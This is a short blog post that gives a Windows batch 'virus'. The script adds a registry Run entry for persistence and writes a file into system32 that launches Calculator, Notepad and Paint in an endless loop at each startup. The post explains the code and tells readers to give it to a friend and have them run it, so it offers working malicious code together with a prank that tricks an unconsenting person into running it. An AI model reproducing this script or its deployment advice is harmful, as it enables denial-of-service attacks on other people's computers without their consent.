Pages

Monday 25 March 2013

Dangerous Notepad Virus

Code:
@echo off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v sysfile /t REG_SZ /d %systemroot%\system32\kb.bat /f
c:
cd\
cd %systemroot%\system32
echo @echo off > kb.bat
echo :hell >> kb.bat
echo start calc.exe >> kb.bat
echo start notepad.exe >> kb.bat
echo start mspaint.exe >> kb.bat
echo goto hell >> kb.bat
Explaination of the Code:
Reg add is the will add the registry entry that will execute kb.bat automatically on computer restart.
Rest of the program will create kb.bat in c:\windows\system32 with the code that will call calculator, notepad and ms-paint in infinite loop.
To rectify: Delete kb.bat from c:\windows\system32.
Give it to your Friend, and Tell him to execute it once, and see the magic on  computer Restart.
Batch Programming is easy and Fun!!

No comments:

Post a Comment